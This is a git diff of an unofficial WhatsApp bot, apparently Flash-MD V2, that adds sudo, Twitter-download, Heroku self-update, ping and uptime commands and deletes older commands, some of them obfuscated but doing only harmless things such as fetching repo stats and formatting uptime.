31:{"A":"𝚫","B":"𝚩","C":"𝐂","D":"𝐃","E":"𝚵","F":"𝐅","G":"𝐆","H":"𝚮","I":"𝚰","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝚳","N":"𝚴","O":"𝚯","P":"𝚸","Q":"𝐐","R":"𝚪","S":"𝐒","T":"𝚻","U":"𝐔","V":"𝛁","W":"𝐖","X":"𝚾","Y":"𝐘","Z":"𝚭","a":"𝚫","b":"𝚩","c":"𝐂","d":"𝐃","e":"𝚵","f":"𝐅","g":"𝐆","h":"𝚮","i":"𝚰","j":"𝐉","k":"𝐊","l":"𝐋","m":"𝚳","n":"𝚴","o":"𝚯","p":"𝚸","q":"𝐐","r":"𝚪","s":"𝐒","t":"𝚻","u":"𝐔","v":"𝛁","w":"𝐖","x":"𝚾","y":"𝐘","z":"𝚭"}, - 32:{"A":"ꪖ","B":"᥇","C":"ᥴ","D":"ᦔ","E":"ꫀ","F":"ᠻ","G":"ᧁ","H":"ꫝ","I":"ﺃ","J":"꠹","K":"ᛕ","L":"ꪶ","M":"ꪑ","N":"ꪀ","O":"ꪮ","P":"ᜣ","Q":"ꪇ","R":"᥅","S":"ᦓ","T":"ꪻ","U":"ꪊ","V":"ꪜ","W":"᭙","X":"᥊","Y":"ꪗ","Z":"ɀ","a":"ꪖ","b":"᥇","c":"ᥴ","d":"ᦔ","e":"ꫀ","f":"ᠻ","g":"ᧁ","h":"ꫝ","i":"ﺃ","j":"꠹","k":"ᛕ","l":"ꪶ","m":"ꪑ","n":"ꪀ","o":"ꪮ","p":"ᜣ","q":"ꪇ","r":"᥅","s":"ᦓ","t":"ꪻ","u":"ꪊ","v":"ꪜ","w":"᭙","x":"᥊","y":"ꪗ","z":"ɀ"}, - 33:{"ഒ":"ඉ","എ":"ᬤ","ഉ":"ຂ","ക":"ᤌ‌","ഗ":"ꪭ","ത":"ꫧ","ന":"ღ͢","മ്പ":"൩","വ":"൨","യ":"ᨨ͓","ര":"ᰍ","ി":"᭄","ീ":"ꪻ","ാ":"ꫂ","(":"ꪶ","ു":"⫰","‌്":"᷃","്":"ັ","ർ":"൪","ണ":"𑇥̅","ട":"ຮ","ട്ട":"ჴ","െ":"൭͛","ം":"◕","ഞ":"ൡ̅","േ":"ල","ൽ":"ᰢ","ന്ന":"ꢳ"}, - apply, - list - }; diff --git a/commands/Sudo.js b/commands/Sudo.js new file mode 100644 index 00000000..73ea7471 --- /dev/null +++ b/commands/Sudo.js @@ -0,0 +1,57 @@ + +const { normalizeJid, getUserNumber, isGroupJid } = require('../utils/helpers'); +const { saveSudoList } = require('../utils/sudoStore'); + +module.exports = { + name: 'sudo', + description: 'Add, remove, or list users with sudo access.', + category: 'Owner', + ownerOnly: true, + + async execute(king, msg, args) { + const fromJid = msg.key.remoteJid; + const commandType = args[0]?.toLowerCase(); + + if (commandType === 'list') { + const list = [...global.ALLOWED_USERS]; + if (list.length === 0) { + return king.sendMessage(fromJid, { + text: '📭 No sudo users have been added yet.' + }, { quoted: msg }); + } + + const text = `👑 *Sudo Users List:*\n\n${list.map((n, i) => `${i + 1}. +${n}`).join('\n')}`; + return king.sendMessage(fromJid, { text }, { quoted: msg }); + } + + const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant || + msg.message?.extendedTextMessage?.contextInfo?.remoteJid; + + if (!quoted) { + return king.sendMessage(fromJid, { + text: '❌ Reply to a user to add/remove them.\n\nUsage:\n- sudo add\n- sudo del\n- sudo list' + }, { quoted: msg }); + } + + const jid = normalizeJid(quoted); + const number = jid.split('@')[0]; + + if (commandType === 'add') { + global.ALLOWED_USERS.add(number); + saveSudoList(global.ALLOWED_USERS); + return king.sendMessage(fromJid, { + text: `✅ Added +${number} to sudo users.` + }, { quoted: msg }); + } else if (commandType === 'del') { + global.ALLOWED_USERS.delete(number); + saveSudoList(global.ALLOWED_USERS); + return king.sendMessage(fromJid, { + text: `❌ Removed +${number} from sudo users.` + }, { quoted: msg }); + } else { + return king.sendMessage(fromJid, { + text: 'Invalid usage.\n\nUsage:\n- sudo add\n- sudo del\n- sudo list' + }, { quoted: msg }); + } + } +}; diff --git a/commands/Sudos.js b/commands/Sudos.js new file mode 100644 index 00000000..aab7ef75 --- /dev/null +++ b/commands/Sudos.js @@ -0,0 +1,23 @@ +module.exports = { + name: 'sudos', + description: 'View all users with sudo access.', + category: 'Owner', + ownerOnly: true, + + async execute(king, msg) { + const fromJid = msg.key.remoteJid; + const list = [...global.ALLOWED_USERS]; + + if (list.length === 0) { + return king.sendMessage(fromJid, { + text: '📭 No sudo users have been added yet.' + }, { quoted: msg }); + } + + const text = `👑 *Sudo Users List:*\n\n${list.map((n, i) => `${i + 1}. +${n}`).join('\n')}`; + + return king.sendMessage(fromJid, { + text + }, { quoted: msg }); + } +}; diff --git a/commands/TTs.js b/commands/TTs.js deleted file mode 100644 index 8c5b872d..00000000 --- a/commands/TTs.js +++ /dev/null @@ -1,93 +0,0 @@ - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -const googleTTS = require('google-tts-api'); -const {france} = require("../framework/france"); - - -france( { - nomCom : "dit", - categorie : "tts", - reaction : "👄" }, - async(dest,zk, commandeOptions)=> { - -const {ms,arg,repondre} = commandeOptions; - if (!arg[0]) {repondre("Insert a word");return} ; - const mots = arg.join(" ") - -const url = googleTTS.getAudioUrl( mots, { - lang: 'fr', - slow: false, - host: 'https://translate.google.com', -}); -console.log(url); - zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true }); - - - -} -) ; - -france( { - nomCom : "itta", - categorie : "tts", - reaction : "👄" }, - async(dest,zk, commandeOptions)=> { - -const {ms,arg,repondre} = commandeOptions; - if (!arg[0]) {repondre("Insert a word");return} ; - const mots = arg.join(" ") - -const url = googleTTS.getAudioUrl( mots, { - lang: 'ja', - slow: false, - host: 'https://translate.google.com', -}); -console.log(url); - zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true }); - - - -} -) ; - -france( { - nomCom : "say", - categorie : "tts", - reaction : "👄" }, - async(dest,zk, commandeOptions)=> { - -const {ms,arg,repondre} = commandeOptions; - if (!arg[0]) {repondre("Insert a word");return} ; - const mots = arg.join(" ") - -const url = googleTTS.getAudioUrl( mots, { - lang: 'en', - slow: false, - host: 'https://translate.google.com', -}); -console.log(url); - zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true }); - - - -} -) ; diff --git a/commands/Tempmails.js b/commands/Tempmails.js deleted file mode 100644 index 1b8287a8..00000000 --- a/commands/Tempmails.js +++ /dev/null @@ -1,30 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -"use strict"; -Object.defineProperty(exports, "__esModule", { value: true }); -const { france } = require("../framework/france"); -france({ nomCom: "tempmail", reaction: "😌", nomFichier: __filename }, async (dest, zk, commandeOptions) => { - console.log("Commande saisie !!!s"); - let z = '*FLASH-MD* Temporary emails,Powered by *France King* \n\n ' + "Click the links below to create unlimited TEMPORARY Emails. Powered by *FLASH-MD.*\n\n"; - let d = ' 1️⃣ https://tempumail.com\n\n 2️⃣ https://etempmail.com\n\n 3️⃣ https://ghostmail.one\n\n 4️⃣ https://tempmailid.com'; - let varmess = z + d; - var img = 'https://telegra.ph/file/f1f2303ff4e39b0a3b6b3.jpg'; - await zk.sendMessage(dest, { image: { url: img }, caption: varmess }); - //console.log("montest") -}); - diff --git a/commands/Test.js b/commands/Test.js deleted file mode 100644 index a9251b4f..00000000 --- a/commands/Test.js +++ /dev/null @@ -1,21 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -'use strict';const _0x4977a2=_0x5ec3;function _0x4048(){const _0x3ceac7=['log','updated_at','11344329uRYHRR','created_at','sendMessage','defineProperty','forks','../framework/france','forks_count','stargazers_count','\x0a📅\x20*RELEASE\x20DATE:*\x20','toLocaleDateString','lastUpdate','\x0a🕐\x20*UPDATED\x20ON:*\x20','https://api.github.com/repos/franceking1/Flash-Md','en-GB','6012648dSJLzj','49905RFqbOu','json','408543SsWCxe','__esModule','10101413CyooYB','668lBcZAW','743367UxsqNY','login','230rLyfGD','owner','\x0a👨‍💻\x20*OWNER:*\x20*France\x20King*\x0a__________________________________\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20*Made\x20With*\x20🤍','Could\x20not\x20fetch\x20data','4JzZFES','1385681nAVAxq','html_url','8FtHRQk','\x0a🧧\x20*FORKS:*\x20','\x0a✨\x20*STARS:*\x20','repo'];_0x4048=function(){return _0x3ceac7;};return _0x4048();}(function(_0x223976,_0x4febb6){const _0x47cd8f=_0x5ec3,_0x3d38d2=_0x223976();while(!![]){try{const _0x2bf3ae=parseInt(_0x47cd8f(0x1b8))/0x1+parseInt(_0x47cd8f(0x1c2))/0x2*(parseInt(_0x47cd8f(0x1bc))/0x3)+-parseInt(_0x47cd8f(0x1bb))/0x4*(-parseInt(_0x47cd8f(0x1b6))/0x5)+parseInt(_0x47cd8f(0x1b5))/0x6+parseInt(_0x47cd8f(0x1ba))/0x7+parseInt(_0x47cd8f(0x1c5))/0x8*(-parseInt(_0x47cd8f(0x1cb))/0x9)+-parseInt(_0x47cd8f(0x1be))/0xa*(parseInt(_0x47cd8f(0x1c3))/0xb);if(_0x2bf3ae===_0x4febb6)break;else _0x3d38d2['push'](_0x3d38d2['shift']());}catch(_0x924c5f){_0x3d38d2['push'](_0x3d38d2['shift']());}}}(_0x4048,0xd18bd));function _0x5ec3(_0x4c0447,_0x2b2d50){const _0x4048d0=_0x4048();return _0x5ec3=function(_0x5ec3ac,_0x3ffe05){_0x5ec3ac=_0x5ec3ac-0x1b2;let _0x2a0ea1=_0x4048d0[_0x5ec3ac];return _0x2a0ea1;},_0x5ec3(_0x4c0447,_0x2b2d50);}Object[_0x4977a2(0x1ce)](exports,_0x4977a2(0x1b9),{'value':!![]});const {france}=require(_0x4977a2(0x1d0));france({'nomCom':_0x4977a2(0x1c8),'reaction':'🤍','nomFichier':__filename},async(_0xd5c3f8,_0x275d9e,_0xd1fa9a)=>{const _0x59a39b=_0x4977a2,_0x121e7c=_0x59a39b(0x1b3),_0x5c6255='https://telegra.ph/file/6fcaf547aebbf7d08d8d1.jpg',_0x25c429=await fetch(_0x121e7c),_0x3379fc=await _0x25c429[_0x59a39b(0x1b7)]();if(_0x3379fc){const _0x1d838c={'stars':_0x3379fc[_0x59a39b(0x1d2)],'forks':_0x3379fc[_0x59a39b(0x1d1)],'lastUpdate':_0x3379fc[_0x59a39b(0x1ca)],'owner':_0x3379fc[_0x59a39b(0x1bf)][_0x59a39b(0x1bd)]},_0x267491=new Date(_0x3379fc[_0x59a39b(0x1cc)])[_0x59a39b(0x1d4)](_0x59a39b(0x1b4)),_0x27ab48=new Date(_0x3379fc['updated_at'])['toLocaleDateString'](_0x59a39b(0x1b4)),_0xd1c044='Hello\x20👋\x20\x0aThis\x20is\x20*FLASH-MD.*\x0a\x20The\x20Following\x20is\x20it\x27s\x20*REPO*\x0a\x0a🗼\x20*REPOSITORY:*\x20'+_0x3379fc[_0x59a39b(0x1c4)]+_0x59a39b(0x1c7)+_0x1d838c['stars']+_0x59a39b(0x1c6)+_0x1d838c[_0x59a39b(0x1cf)]+_0x59a39b(0x1d3)+_0x267491+_0x59a39b(0x1b2)+_0x1d838c[_0x59a39b(0x1d5)]+_0x59a39b(0x1c0);await _0x275d9e[_0x59a39b(0x1cd)](_0xd5c3f8,{'image':{'url':_0x5c6255},'caption':_0xd1c044});}else console[_0x59a39b(0x1c9)](_0x59a39b(0x1c1));}); diff --git a/commands/Twitter.js b/commands/Twitter.js new file mode 100644 index 00000000..9fecbef6 --- /dev/null +++ b/commands/Twitter.js @@ -0,0 +1,65 @@ +const { franceking } = require('../main'); +const { downloadFromSSSTwitter } = require('../france/x'); +const axios = require('axios'); + +module.exports = { + name: 'twitter', + aliases: ['tw', 'twdl'], + description: 'Download and send Twitter videos directly.', + category: 'Download', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const url = args[0]; + + if (!url || !url.startsWith('https://twitter.com/')) { + return king.sendMessage(fromJid, { + text: '🔗 *Please provide a valid Twitter video link.*\n\nExample:\n`!twitter https://twitter.com/username/status/1234567890`' + }, { quoted: msg }); + } + + try { + const result = await downloadFromSSSTwitter(url); + const videoUrl = result.mp4high || result.mp4mid || result.mp4low; + + if (!videoUrl) { + return king.sendMessage(fromJid, { + text: '⚠️ No downloadable video link was found.' + }, { quoted: msg }); + } + + // Download video as buffer + const videoResponse = await axios.get(videoUrl, { + responseType: 'arraybuffer', + headers: { + 'User-Agent': 'Mozilla/5.0' + } + }); + + const videoBuffer = Buffer.from(videoResponse.data); + + // Send video with caption + await king.sendMessage(fromJid, { + video: videoBuffer, + caption: '✨ Downloaded by Flash-Md-V2' + }, { quoted: msg }); + + } catch (err) { + const message = err.message || 'Unknown error'; + const stack = err.stack || ''; + + const errorMsg = [ + '*❌ Failed to download Twitter video:*', + `*Message:* ${message}`, + `*Stack:* ${stack.slice(0, 1000)}` + ].join('\n\n'); + + await king.sendMessage(fromJid, { + text: errorMsg + }, { quoted: msg }); + } + } +}; diff --git a/commands/Update.js b/commands/Update.js new file mode 100644 index 00000000..fbcf8d55 --- /dev/null +++ b/commands/Update.js @@ -0,0 +1,93 @@ +const { franceking } = require('../main'); +const axios = require('axios'); + +const { HEROKU_API_KEY, HEROKU_APP_NAME } = process.env; + +module.exports = [ + { + name: 'update', + get flashOnly() { + return franceking(); + }, + description: 'Check for new GitHub commits and optionally trigger update.', + category: 'HEROKU', + ownerOnly: true, + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + + if (!HEROKU_API_KEY || !HEROKU_APP_NAME) { + return king.sendMessage(fromJid, { + text: '⚠️ HEROKU_API_KEY or HEROKU_APP_NAME is not set in environment.' + }, { quoted: msg }); + } + + const subcommand = args[0]?.toLowerCase(); + + try { + if (subcommand === 'now') { + await king.sendMessage(fromJid, { + text: '🚀 Updating bot now. Please wait 1-2 minutes...' + }, { quoted: msg }); + + await axios.post( + `https://api.heroku.com/apps/${HEROKU_APP_NAME}/builds`, + { + source_blob: { + url: 'https://github.com/franceking1/Flash-Md-V2/tarball/main' + } + }, + { + headers: { + Authorization: `Bearer ${HEROKU_API_KEY}`, + Accept: 'application/vnd.heroku+json; version=3', + 'Content-Type': 'application/json' + } + } + ); + + return king.sendMessage(fromJid, { + text: '✅ Redeploy triggered successfully!' + }, { quoted: msg }); + + } else { + const githubRes = await axios.get( + 'https://api.github.com/repos/franceking1/Flash-Md-V2/commits/main' + ); + const latestCommit = githubRes.data; + const latestSha = latestCommit.sha; + + const herokuRes = await axios.get( + `https://api.heroku.com/apps/${HEROKU_APP_NAME}/builds`, + { + headers: { + Authorization: `Bearer ${HEROKU_API_KEY}`, + Accept: 'application/vnd.heroku+json; version=3' + } + } + ); + + const lastBuild = herokuRes.data[0]; + const deployedSha = lastBuild?.source_blob?.url || ''; + const alreadyDeployed = deployedSha.includes(latestSha); + + if (alreadyDeployed) { + return king.sendMessage(fromJid, { + text: '✅ Bot is already up to date with the latest commit.' + }, { quoted: msg }); + } + + return king.sendMessage(fromJid, { + text: `🆕 New commit found!\n\n*Message:* ${latestCommit.commit.message}\n*Author:* ${latestCommit.commit.author.name}\n\nType *update now* to update your bot.` + }, { quoted: msg }); + } + } catch (error) { + const errMsg = error.response?.data?.message || error.message; + console.error('Update failed:', errMsg); + return king.sendMessage(fromJid, { + text: `❌ Error: ${errMsg}` + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Uptime.js b/commands/Uptime.js index 4169643c..820afff8 100644 --- a/commands/Uptime.js +++ b/commands/Uptime.js @@ -1,19 +1,100 @@ +const now = require('performance-now'); +const { franceking } = require('../main'); +if (!global.botStartTime) global.botStartTime = Date.now(); +module.exports = [ + { + name: 'ping', + get flashOnly() { + return franceking(); +}, + aliases: ['latency', 'speed'], + description: "Checks the bot's response time", + execute: async (sock, msg) => { + const start = now(); + const senderId = (msg.key?.participant || msg.key?.remoteJid || '0@s.whatsapp.net').split('@')[0]; + const jid = msg.key.remoteJid; -/** + const pingMsg = await sock.sendMessage(jid, { text: 'Pinging...' }, { + quoted: { + key: { fromMe: false, participant: '0@s.whatsapp.net', remoteJid: 'status@broadcast' }, + message: { + contactMessage: { + displayName: 'FLASH-MD-V2', + vcard: `BEGIN:VCARD\nVERSION:3.0\nN:;a,;;;\nFN:'FLASH-MD-V2'\nitem1.TEL;waid=${senderId}:${senderId}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, + }, + }, + } + }); -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ + const latency = (now() - start).toFixed(0); - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ + await sock.relayMessage( + jid, + { + protocolMessage: { + key: pingMsg.key, + type: 14, + editedMessage: { + conversation: `🏓 Pong!\n⏱️ *_Flash-Md-V2.5 Speed: ${latency} ms_*`, + }, + }, + }, + {} + ); + } + }, + { + name: 'uptime', + get flashOnly() { + return franceking(); +}, + aliases: ['runtime'], + description: 'Displays the system uptime!', + execute: async (sock, msg) => { + const currentTime = Date.now(); + const uptimeInMillis = currentTime - global.botStartTime; + const formatted = formatUptime(uptimeInMillis); + const senderId = (msg.key?.participant || msg.key?.remoteJid || '0@s.whatsapp.net').split('@')[0]; + const jid = msg.key.remoteJid; + await sock.sendMessage(jid, { + text: `*_UPTIME OF FLASH-MD-V2: ${formatted}_*` + }, { + quoted: { + key: { fromMe: false, participant: '0@s.whatsapp.net', remoteJid: 'status@broadcast' }, + message: { + contactMessage: { + displayName: 'FLASH-MD-V2', + vcard: `BEGIN:VCARD\nVERSION:3.0\nN:;a,;;;\nFN:'FLASH-MD-V2'\nitem1.TEL;waid=${senderId}:${senderId}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, + }, + }, + } + }); + } + } +]; +function formatUptime(ms) { + const sec = Math.floor(ms / 1000) % 60; + const min = Math.floor(ms / (1000 * 60)) % 60; + const hr = Math.floor(ms / (1000 * 60 * 60)) % 24; + const day = Math.floor(ms / (1000 * 60 * 60 * 24)); -function _0x1609(_0x3a7cfb,_0x30ab5f){const _0xa7eaa0=_0xa7ea();return _0x1609=function(_0x160945,_0x3dd229){_0x160945=_0x160945-0x14c;let _0x51e54a=_0xa7eaa0[_0x160945];return _0x51e54a;},_0x1609(_0x3a7cfb,_0x30ab5f);}const _0x1c9784=_0x1609;(function(_0x155d7b,_0x404947){const _0x4c17f0=_0x1609,_0x2f15bc=_0x155d7b();while(!![]){try{const _0x1a994d=parseInt(_0x4c17f0(0x167))/0x1*(parseInt(_0x4c17f0(0x164))/0x2)+parseInt(_0x4c17f0(0x153))/0x3+parseInt(_0x4c17f0(0x170))/0x4+-parseInt(_0x4c17f0(0x16b))/0x5+-parseInt(_0x4c17f0(0x15b))/0x6*(parseInt(_0x4c17f0(0x15a))/0x7)+-parseInt(_0x4c17f0(0x158))/0x8*(parseInt(_0x4c17f0(0x163))/0x9)+-parseInt(_0x4c17f0(0x162))/0xa*(-parseInt(_0x4c17f0(0x16d))/0xb);if(_0x1a994d===_0x404947)break;else _0x2f15bc['push'](_0x2f15bc['shift']());}catch(_0x1127e9){_0x2f15bc['push'](_0x2f15bc['shift']());}}}(_0xa7ea,0xbc141));function _0xa7ea(){const _0x1b7e5c=['26226BXCBph','871946qdvzIn','screenshot','?url=','2ADeoGb','\x20h,\x20','performanc','\x20day,\x20','3690455NyNOYI','true','11rjWyzW','https://ap','\x20FLASH-MD','3402272uAfaoR','rk/france','\x20m,\x20','provide\x20a\x20','link...','\x20minute,\x20','i.maher-zu','misc/sstab','Powered\x20by','General','length','axios','ezone','3478971wpCuhE','../framewo','=720x720','join','&dimension','488njddVu','s\x20website','161cusiZC','387480QdYCLz','e-now','floor','sendMessag','moment-tim','To\x20check\x20r','*_Uptime\x20o','2893830UWtgMk'];_0xa7ea=function(){return _0x1b7e5c;};return _0xa7ea();}const {france}=require(_0x1c9784(0x154)+_0x1c9784(0x171)),moment=require(_0x1c9784(0x15f)+_0x1c9784(0x152)),{getBuffer}=require(_0x1c9784(0x154)+'rk/dl/Func'+'tion'),{default:axios}=require(_0x1c9784(0x151)),speed=require(_0x1c9784(0x169)+_0x1c9784(0x15c)),runtime=function(_0x44a6e2){const _0x47831b=_0x1c9784;_0x44a6e2=Number(_0x44a6e2);var _0x3f18ce=Math[_0x47831b(0x15d)](_0x44a6e2/(0xe10*0x18)),_0x33ca03=Math[_0x47831b(0x15d)](_0x44a6e2%(0xe10*0x18)/0xe10),_0x24bbcb=Math[_0x47831b(0x15d)](_0x44a6e2%0xe10/0x3c),_0x28c156=Math[_0x47831b(0x15d)](_0x44a6e2%0x3c),_0x15925d=_0x3f18ce>0x0?_0x3f18ce+(_0x3f18ce==0x1?_0x47831b(0x16a):'\x20d,\x20'):'',_0x3fa347=_0x33ca03>0x0?_0x33ca03+(_0x33ca03==0x1?'\x20hour,\x20':_0x47831b(0x168)):'',_0x493d77=_0x24bbcb>0x0?_0x24bbcb+(_0x24bbcb==0x1?_0x47831b(0x175):_0x47831b(0x172)):'',_0x45c385=_0x28c156>0x0?_0x28c156+(_0x28c156==0x1?'\x20second':'\x20s'):'';return _0x15925d+_0x3fa347+_0x493d77+_0x45c385;};france({'nomCom':'uptime','desc':_0x1c9784(0x160)+'untime','Categorie':_0x1c9784(0x14f),'reaction':'⚙️','fromMe':_0x1c9784(0x16c)},async(_0x5733e8,_0x11c5bc,_0x57521f)=>{const _0x5d3c5c=_0x1c9784,{ms:_0x2bfb36,arg:_0x5b9f74,repondre:_0x141271}=_0x57521f;await _0x141271(_0x5d3c5c(0x161)+'f\x20FLASH-MD'+':\x20'+runtime(process['uptime']())+'_*');}),france({'nomCom':'ss','desc':_0x1c9784(0x165)+_0x1c9784(0x159),'Categorie':'General','reaction':'🎥','fromMe':_0x1c9784(0x16c)},async(_0x5d5ae8,_0x3e1dc4,_0x105a5c)=>{const _0xcb4eae=_0x1c9784,{ms:_0x4e3982,arg:_0x26023f,repondre:_0x442146}=_0x105a5c;if(!_0x26023f||_0x26023f[_0xcb4eae(0x150)]===0x0)return _0x442146(_0xcb4eae(0x173)+_0xcb4eae(0x174));const _0xc585f8=_0x26023f[_0xcb4eae(0x156)]('\x20');let _0x23dc0e=_0xcb4eae(0x16e)+_0xcb4eae(0x14c)+'bair.tech/'+_0xcb4eae(0x14d)+_0xcb4eae(0x166)+_0xc585f8+(_0xcb4eae(0x157)+_0xcb4eae(0x155)),_0x460842=await getBuffer(_0x23dc0e);await _0x3e1dc4[_0xcb4eae(0x15e)+'e'](_0x5d5ae8,{'image':_0x460842},{'caption':_0xcb4eae(0x14e)+_0xcb4eae(0x16f)},{'quoted':_0x4e3982});}); + const parts = []; + + if (day === 1) parts.push(`1 day`); + else if (day > 1) parts.push(`${day} days`); + + if (hr === 1) parts.push(`1 hour`); + else if (hr > 1) parts.push(`${hr} h`); + + if (min === 1) parts.push(`1 minute`); + else if (min > 1) parts.push(`${min} m`); + 